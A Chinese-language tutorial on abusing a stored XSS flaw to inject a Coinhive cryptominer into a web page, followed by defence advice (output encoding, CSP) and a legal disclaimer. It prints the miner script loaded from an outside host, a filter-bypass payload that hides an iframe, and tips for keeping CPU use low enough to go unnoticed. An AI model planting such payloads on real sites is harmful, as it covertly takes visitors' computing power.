一个XSS挖矿马的曲折历程
字数 977 2025-08-18 11:38:08

XSS挖矿马攻击技术分析与防御指南

1. 漏洞复现与XSS利用

1.1 存储型XSS漏洞复现

  1. 漏洞发现:在输入框中插入XSS代码时,前端进行了过滤
  2. 绕过方法
    • 使用Burp Suite拦截并修改数据包
    • 修改后的XSS代码成功存储并执行
  3. 验证方法
    • 刷新页面后XSS代码仍然存在并执行
    • 确认这是一个存储型XSS漏洞

2. 挖矿攻击实施

2.1 准备工作

  1. 门罗币账户:攻击者需要预先创建门罗币钱包
  2. Coinhive账户
    • 注册Coinhive账户获取API密钥
    • 示例API密钥:3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo

2.2 挖矿脚本

<script src=https://coinhive.com/lib/coinhive.min.js></script>
<script>
  var miner = new CoinHive.Anonymous('3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo', {throttle: 0.5});
  miner.start();
</script>
  • throttle: 0.5:设置CPU使用率为50%,避免用户察觉

3. 绕过技术分析

3.1 初始注入失败原因

  1. 400错误:由于空格未编码为+导致
  2. URL自动转换:评论插件自动为URL地址添加<a>标签

3.2 DOM操作绕过

  1. 选择目标元素:选择一个页面上的元素进行覆盖
  2. 控制台测试:先在浏览器控制台验证方法可行性
  3. 字符串拼接:使用+concat方法拼接URL

3.3 最终有效Payload

<script>
  document.getElementById("toast").innerHTML="<iframe+src=http".concat("s://url.rul/YouUrl+style='display:").concat("none;'></iframe>")
</script>
  • 使用concat函数拼接字符串避免被过滤
  • 设置display:none隐藏iframe避免被发现

4. 攻击效果验证

  1. DOM检查:确认iframe已成功插入
  2. CPU监控:观察到CPU利用率上升验证攻击成功

5. 防御措施

5.1 输入过滤

  1. 对所有用户输入进行HTML实体编码
  2. 实现严格的输入验证规则

5.2 输出编码

  1. 在数据输出到页面时进行适当的编码
  2. 根据上下文使用HTML、URL、JavaScript等编码

5.3 内容安全策略(CSP)

Content-Security-Policy: script-src 'self'; object-src 'none'; frame-src 'none'
  • 限制外部脚本加载
  • 禁用iframe等危险元素

5.4 其他防御措施

  1. 使用HTTP-only和Secure标志设置Cookie
  2. 实施X-XSS-Protection头部
  3. 定期安全审计和渗透测试

6. 法律与道德声明

  1. 本文所述技术仅用于安全研究和防御目的
  2. 未经授权对他人系统进行测试或攻击属违法行为
  3. 挖矿脚本会消耗用户计算资源,可能构成非法侵入

7. 技术演进

  1. Coinhive服务已关闭,但类似技术仍在演变
  2. 攻击者可能转向其他加密货币或使用WebAssembly等技术
  3. 防御措施需要持续更新以应对新威胁
XSS挖矿马攻击技术分析与防御指南 1. 漏洞复现与XSS利用 1.1 存储型XSS漏洞复现 漏洞发现 :在输入框中插入XSS代码时,前端进行了过滤 绕过方法 : 使用Burp Suite拦截并修改数据包 修改后的XSS代码成功存储并执行 验证方法 : 刷新页面后XSS代码仍然存在并执行 确认这是一个存储型XSS漏洞 2. 挖矿攻击实施 2.1 准备工作 门罗币账户 :攻击者需要预先创建门罗币钱包 Coinhive账户 : 注册Coinhive账户获取API密钥 示例API密钥: 3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo 2.2 挖矿脚本 throttle: 0.5 :设置CPU使用率为50%,避免用户察觉 3. 绕过技术分析 3.1 初始注入失败原因 400错误 :由于空格未编码为 + 导致 URL自动转换 :评论插件自动为URL地址添加 <a> 标签 3.2 DOM操作绕过 选择目标元素 :选择一个页面上的元素进行覆盖 控制台测试 :先在浏览器控制台验证方法可行性 字符串拼接 :使用 + 或 concat 方法拼接URL 3.3 最终有效Payload 使用 concat 函数拼接字符串避免被过滤 设置 display:none 隐藏iframe避免被发现 4. 攻击效果验证 DOM检查 :确认iframe已成功插入 CPU监控 :观察到CPU利用率上升验证攻击成功 5. 防御措施 5.1 输入过滤 对所有用户输入进行HTML实体编码 实现严格的输入验证规则 5.2 输出编码 在数据输出到页面时进行适当的编码 根据上下文使用HTML、URL、JavaScript等编码 5.3 内容安全策略(CSP) 限制外部脚本加载 禁用iframe等危险元素 5.4 其他防御措施 使用HTTP-only和Secure标志设置Cookie 实施X-XSS-Protection头部 定期安全审计和渗透测试 6. 法律与道德声明 本文所述技术仅用于安全研究和防御目的 未经授权对他人系统进行测试或攻击属违法行为 挖矿脚本会消耗用户计算资源,可能构成非法侵入 7. 技术演进 Coinhive服务已关闭,但类似技术仍在演变 攻击者可能转向其他加密货币或使用WebAssembly等技术 防御措施需要持续更新以应对新威胁